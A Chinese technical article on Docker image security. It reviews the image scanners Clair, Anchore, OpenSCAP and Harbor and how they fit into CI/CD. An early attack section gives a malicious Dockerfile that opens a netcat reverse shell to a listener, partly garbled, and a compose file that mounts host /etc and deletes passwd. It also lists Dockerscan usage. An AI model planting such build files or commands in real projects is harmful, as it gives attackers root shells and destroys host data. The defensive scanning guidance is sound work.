林伟壕,SecDevOpsor,先后在中国电信和网易游戏从事数据网络、网络安全和游戏运维工作。对Linux运维、虚拟化和网络安全防护等研究颇多,目前专注于网络安全自动化检测、防御系统构建。
在之前的文章《从自身漏洞与架构缺陷,谈Docker安全建设》中,我们介绍了Docker存在的安全问题、整套Docker应用架构的安全基线以及安全规则,重头戏是Docker安全规则的各种思路和方案。
本文作为“续集”,考虑到镜像安全问题的普遍性和重要性,将重点围绕Docker镜像安全扫描与审计的具体实现展开讨论,包括技术选型、功能使用以及如何与企业Docker容器编排系统、仓库集成等具体问题,最后还提供了一个现成的开源集成方案。
一、概述
根据绿盟2018年3月的研究显示,目前Docker Hub上的镜像76%都存在漏洞,其研究人员拉取了Docker Hub上公开热门镜像中的前十页镜像,对其使用Docker镜像安全扫描工具Clair进行了CVE扫描统计。结果显示在一百多个镜像中,没有漏洞的只占到24%,包含高危漏洞的占到67%。很多我们经常使用的镜像都包含在其中,如:httpd、Nginx、MySQL等等。
有句行话说的好:未知攻,焉知防?下面先介绍Docker镜像攻击的具体实现方式,然后再提出已有的安全防护方案。
二、Docker镜像攻击
针对Docker容器的攻击,有利用Docker Daemon API的,也有攻击K8S、Mesos等容器管理平台的,这方面的攻击利用门槛较低、获取成果又非常丰富,反弹Shell、getRoot均不在话下。
不过,今天讨论的是针对Docker镜像的攻击,常见的攻击方式主要有Dockerfiles攻击、Docker compose攻击两种,而后面讲到的Docker镜像自动化攻击则主要利用Dockerscan这款工具。
FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files>
COPY * /files/
UN mknod /tmp/back p
RUN /bin/sh 0/tmp/back
一旦客户端Build完镜像,启动容器,就会向控制端反弹Shell:
nc -lv 192.168.160.1 12345
sh# id
root
类似的,编写好存在恶意命令或者漏洞组件的Docker compose文件,一旦客户端Build完镜像,启动容器,就会执行攻击命令或暴露漏洞组件。
test:
image: ubuntu:14.04
volumes:
- /etc:/test
command: rm /test/passwd
pip3 install dockerscan
dockerscan -h
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...
Options:
-v Verbose output
-d enable debug
-q, --quiet Minimal output
--version Show the version and exit.
-h, --help Show this message and exit.
Commands:
image Docker images commands
registry Docker registry actions
scan Search for Open Docker Registries
三、Docker镜像安全扫描
通过本地Docker images命令或者操作Docker Registry就能恶意修改镜像,植入攻击木马。但这仅仅只是产生Docker镜像安全扫描需求的原因之一。
另一种情况,全球最大的Docker Hub上面有官方的,也有用户上传的任意镜像,但是目前Docker Hub上面只有Office Repo的才会自动调用Docker Security Scan,其他的即便是恶意image也不会有报警或者拦截的,个人镜像则需要付费扫描。
因此,当我们使用外部Docker Hub的镜像时同样需要进行安全扫描。如果没有镜像安全工具,非Office的Repo Docker Pull时一定要仔细阅读Dockerfile或者下载Dockerfile本地Build。下面是Docker官方镜像安全扫描的流程图:
不过还好,目前CoreOS官方已经推出了Clair镜像安全扫描工具,该工具也被多款Docker Registry集成,比如VMware中国开源的Harbor(CNCF成员项目)、Quary以及Dockyard等。此外,还有一个Docker镜像安全扫描工具新星:Anchore,不仅支持对镜像的静态扫描,还支持对容器的动态扫描。
Clair首先对镜像进行特征的提取,然后再将这些特征匹配CVE漏洞库,若发现漏洞则进行提示,其功能侧重于扫描容器中的OS及APP的CVE漏洞。该工具可以交叉检查Docker镜像的操作系统以及上面安装的任何包是否与任何已知不安全的包版本相匹配,支持跟K8S、Registry结合在一起,在镜像构建过程进行漏洞扫描,支持OS广泛,提供API,能提供构建阻断和报警。
在开始分析Clair之前,我们需要明白几点:
Clair是以静态分析的方式对镜像进行分析的,有点类似于杀毒软件用特征码来扫描病毒。
Clair镜像分析是按镜像Layer层级来进行的,如果某一层的软件有漏洞,在上层被删除了,该漏洞还是存在的。
Clair的漏洞扫描是通过软件版本比对来完成的,如果某个应用,比如Nginx ,它在镜像中的版本为1.0.0,而该版本在数据库中存在1.0.0对应的漏洞数据,则表示该镜像存在对应的漏洞。
架构
Clair整体架构图如下所示:
整体处理流程如下:
Clair定期从配置的源获取漏洞元数据然后存进数据库。
客户端使用Clair API处理镜像,获取镜像的特征并存进数据库。
客户端使用Clair API从数据库查询特定镜像的漏洞情况,为每个请求关联漏洞和特征,避免需要重新扫描镜像。
当更新漏洞元数据时,将会有系统通知产生。另外,还有WebHook用于配置将受影响的镜像记录起来或者拦截其部署。
此外,特有术语、驱动和数据源、通知方式的使用等可以参考官方文档。
见链接:https://github.com/coreos/clair
客户端
上面介绍的只是Clair的服务端,投入应用还需额外的客户端。目前从官方列出的衍生开发工具里,已经有非常多的选择。
衍生开发工具参考链接:
https://github.com/coreos/clair/blob/master/Documentation/integrations.md
官方客户端Clairctl测试效果如下:
官方客户端Clairctl参考链接:
https://github.com/jgsqware/clairctl
clairctl analyze -l cve-2017-11610_web
Image: /cve-2017-11610_web:latest
Unknown: 80 Negligible: 235 Low: 195 Medium: 418 High: 161 Critical: 0 Defcon1: 0
Clair API3.0写的不怎么清楚,目前还能在CoreOS官网上查到APIv1版本的文档,但是对于使用新版已经没意义了,因为改变太大了。
Klar,只支持跟Registry集成。
Yair,只支持跟Registry集成,Yair是用Python写的,可以自己修改。
analyze-local-images:命令行,但是被放弃了,只支持Clair v1/v2。
Clair API3.0参考链接:
https://app.swaggerhub.com/apis/coreos/clair/3.0
《APIv1版本的文档》参考链接:
https://coreos.com/clair/docs/latest/api_v1.html
Klar参考链接:
https://github.com/optiopay/klar
Yair参考链接:
https://github.com/yfoelling/yair
《analyze-local-images:命令行,但是被放弃了》参考链接:
https://github.com/coreos/analyze-local-images
使用建议
Master不太稳定,不适合生产环境,建议用Release版本。
目前最新版本:
https://github.com/coreos/clair/tree/release-2.0
由于Clair会根据CVE库扫描Docker镜像使用的内核,但是实际上容器使用的是宿主的内核,这样可能产生大量无用漏洞或者误报;不过根据Clair开发组的意思,他们把决定权交给用户,默认不提供白名单机制,也不对此做区分。
第一次启动要下载数据到数据库,下载时间根据网络好坏确定。可以用https://github.com/arminc/clair-local-scan替换Clair官方DB镜像。
检测到很多内核漏洞,但实际上可以不处理。但是Clair决定不过滤任何东西,而是交给用户决定,这样一来,用户二次开发,增加黑白名单机制在所难免。
这时就要介绍一个分析工具Anchore了。
与Clair不同,Anchore侧重于对镜像的审计,其有强大的对镜像的解析能力。Anchore是一个容器检查和分析平台,支持分析、检查、安全扫描,并为容器镜像提供自定义策略评估,比如黑白名单以及自定义规则。
架构
整个处理流程如下:
获取镜像内容并将其解压缩,但从不执行。
通过在镜像内容上运行一组Anchore分析器来分析镜像,以提取和分类尽可能多的元数据。
将生成的分析保存在数据库中以备将来使用和审核。
根据分析结果评估策略,包括对镜像中发现的组件漏洞匹配。
更新用于策略评估和漏洞匹配的最新外部数据,并针对上游找到的任何新数据自动更新镜像分析结果。
通知用户政策评估和漏洞匹配的更改。
每隔一段时间重复上述两个步骤,以确保最新的外部数据和更新的镜像评估。
客户端
Anchore客户端叫Anchore-cli,可以管理和检查镜像、策略、订阅通知和镜像仓库。工作原理、安装和使用方式都很简单。
Anchore-cli参考链接:
https://github.com/anchore/anchore-cli
部署 支持源码安装和各种主流操作系统源安装
git clone https://github.com/anchore/anchore-cli
cd anchore-cli
pip install –user –upgrade .
配置和使用
配置Anchore Engine连接地址和认证方式;接着使用restful api给Anchore Engine增加镜像、查看镜像分析状态、执行镜像安全扫描、查看镜像分层信息并订阅CVE更新的通知。
使用建议
Anchore这个已经被Anchore-Engine替代,目前再使用会出现各种奇怪的问题。
Anchore分为社区版和商业版,社区版只有CLI接口,商业版提供Web页面以及更多的商业支持。
OpenSCAP
跟Clair类似,依赖CVE库进行漏洞扫描。目前已有Docker容器方案,Open SCAP4 Docker Docker image:能根据OSCAP数据库检测image/ container。
Open SCAP4Docker Docker image参考链接:
https://github.com/dduportal-dockerfiles/oscap4docker
安装
拉取镜像
docker pull dduportal/oscap4docker:1.0.0
docker run dduportal/oscap4docker:1.0.
Build镜像
git clone https://github.com/dduportal-dockerfiles/oscap4docker.git
cd oscap4docker
cat DockerfileFROM dduportal/oscap4docker:1.0.0MAINTAINER ADD ./your-tests /app/oscap4docker-testsRUN yum install -y -q CMD [“/app/oscap4docker-tests/”]docker build -t my-tests ./
…
docker run -t my-tests…
使用
docker-oscap image IMAGE-NAME OSCAP-ARGUMENTS
Scan a docker image.
docker-oscap image-cve IMAGE-NAME [–results oval-results-file.xml [–report report.html]]
Scan a docker image for known vulnerabilities.
docker-oscap container CONTAINER-NAME OSCAP-ARGUMENTS
Scan a running docker container of given name.
docker-oscap container-cve CONTAINER-NAME [–results oval-results-file.xml [–report report.html]]
Scan a running container for known vulnerabilities.
See man oscap to learn more about OSCAP-ARGUMENTS
四、与企业CI/CD系统联动的Docker镜像安全系统选型
Clair可以直接集成到容器仓库中,以便仓库负责代表用户与Clair进行交互。这种类型的设置避免了手动扫描,并创建了一个合理的接收端以便Clair的漏洞通知到位。
仓库还可用于授权,以避免泄露用户不应当访问的镜像漏洞信息。Clair可以集成到CI/CD管道中,如此一来,当生成镜像时,将镜像推送到仓库之后触发Clair扫描该镜像的请求。集成思路如下:
用户推送镜像到容器仓库,仓库根据设置的黑白名单选择是否调用Clair进行扫描。
一旦触发Clair扫描,则等待扫描结果返回,然后通知用户。
部署方式
主要有Kubernetes和本地部署这两种方式:
服务端
K8S Cluster
git clone https://github.com/coreos/clair
cd clair/contrib/helm
cp clair/values.yaml ~/my_custom_values.yaml
vi ~/my_custom_values.yaml
helm dependency update clair
helm install clair -f ~/my_custom_values.yaml
Local
$ mkdir $PWD/clair_config$ curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o $PWD/clair_config/config.yaml$ docker run -d -e POSTGRES_PASSWORD=”” -p 5432:5432 postgres:9.6$ docker run –net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml
客户端
主分支版本
curl -L https://raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh
Docker-compose
$ git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl$ cd $GOPATH/src/github.com/jgsqware/clairctl$ docker-compose up -d postgres
比如Anchor目前可以通过Jenkins/Gitlab无缝地切入CI/CD工作流程,开发人员将代码提交到源代码管理系统,然后触发Jenkins/Gitlab启动创建容器镜像的构建。通过构建失败并返回适当的报告来让开发人员“快速学习”、快速解决问题。
接下来介绍Anchore如何与Jenkins进行集成,Jenkins与Gitlab集成也有官方介绍。
与Jenkins集成
此外,Anchore支持插件模式和本地模式,但是本地模式已经被官方抛弃,所以目前只能选择插件模式。
配置插件以与Anchore Engine服务API的模式可以从工作节点访问其服务API。Anchore插件可以在Pipeline作业中使用,也可以作为构建步骤添加到Freestyle作业中,以自动执行分析,评估镜像的自定义策略以及执行镜像安全扫描。
整个处理流程如下:Jenkins作业将构建容器镜像,并将镜像推送到Anchore Engine服务中预配置的仓库,构建步骤将通过“添加”镜像(指示Anchore Engine从仓库中提取镜像)与Anchore Engine交互,然后对镜像执行策略评估检查。如果策略评估导致“停止”操作,则可以选择将构建步骤配置为构建失败。该插件会将生成的策略评估结果与作业一起存储,以供日后检查/审核该插件可用于Freestyle和Pipeline作业。
部署方式
主要有Jenkins插件和Kubernetes两种部署方式:
Jenkins插件
假定以下先决条件已经满足:
1)Jenkins2.x已在虚拟机或物理服务器上安装并运行;
2)已安装并运行了Anchore-Engine,可访问EngineAPI URL(后称为)和凭据(后称为和),具体请参阅用户文档:Anchore Engine概述和安装。
参考链接:
https://anchore.freshdesk.com/support/home
Kubernetes调用Anchore Engine API
用户提交部署时,由Kubernetes通过调用Policy Validator服务来向Anchore Engine API发起镜像安全扫描,评估是否符合安全规则。不过,这样就无法在CI环节提前检测发现漏洞,而把漏洞留到了CD阶段,个人认为不是很好的设计。
架构
集成Clair的功能依然是靠其官方镜像和Postgres结合形成,而扫描之后的信息则通过Harbor自身的数据库进行保存。
目前Harbor还不支持黑白名单机制。支持设置漏洞响应阈值,比如只有存在高危漏洞的镜像才会阻断后续CI/CD或者用户拉取。
Harbor除了集成了Clair的功能外,从v1.1起也增加了镜像内容信任的能力,可以帮助用户实现容器镜像的内容信任问题。通过内容信任(Content Trust)的机制来确保镜像的来源可信。整个镜像的安全扫描和审计逻辑如下图所示:
当用户提交镜像Build任务后,Registry V2会调用Clair的API提交分层后的镜像Layers,Clair扫描结束将结果发会给Harbor,Harbor再根据漏洞阈值决定是否允许用户下载。如果镜像的漏洞级别超过了这个阀值,镜像将无法下载。
当镜像的用户下载时,根据镜像的名称,可以从Notary获得镜像的摘要,然后使用Registry V2的API,做 Pull by content(Digest)的Registry调用,即可获得来自信任者的镜像。如果镜像没有签过名,获取Digest会失败,因而无法下载镜像。
下面是Harbor扫描结果展示:
上图显示了用户可以在Harbor上主动发起扫描,下图显示了镜像安全扫描结果。
部署
由于Harbor官方和社区提供了非常详细的部署文档,本文就不赘述了。
选型建议
通过上面的对比,读者可以根据自己的实际情况进行选择。如果方便迁移Docker镜像仓库的话,Harbor会是一个比较容易落地的选择。如果在Jenkins方面使用的比较重的企业,建议也可以选择Anchore
五、结尾
综上,本文从Docker镜像漏洞挖掘入手,介绍了常见的镜像漏洞引入方式和检测工具。然后,介绍了业界比较流行的Docker镜像安全扫描工具的原理、架构、部署和落地方案,如若读者对Docker镜像安全扫描能有一个相对全面的了解,那便足矣。
Docker镜像安全概述:
http://blog.nsfocus.net/docker-mirror-security/
安全防护工具之:Anchore:
https://blog.csdn.net/liumiaocn/article/details/76732894?locationNum=10&fps=1
Docker镜像安全扫描:
https://blog.csdn.net/m0_37552052/article/details/78907296
Clair源码解析:
https://blog.csdn.net/WaltonWang/article/details/53995685
Clair二次开发指南:
http://www.freebuf.com/column/157784.html
Docker镜像扫描器的实现:clair:
https://www.tuicool.com/articles/ZF7n6vr
Clairctl部署案例:
https://blog.csdn.net/m0_37552052/article/details/78907296
Analyze-local-images安装异常处理:
http://www.bubuko.com/infodetail-2600784.html
Anchore github仓库:
https://github.com/anchore/anchore
Anchore jenkins接入方式:
https://wiki.jenkins.io/display/JENKINS/Anchore+Container+Image+Scanner+Plugin
Docker基础:私库系列:再探Harbor:(5)集成clair:
https://blog.csdn.net/liumiaocn/article/details/81813707
作者博文:Harbor容器镜像安全漏洞扫描详述和视频:
https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/78180109
容器镜像之明察秋毫:Harbor内容信任的原理及演示视频:
https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/80326458
Harbor用户文档:
https://github.com/vmware/harbor/blob/master/docs/user_guide.md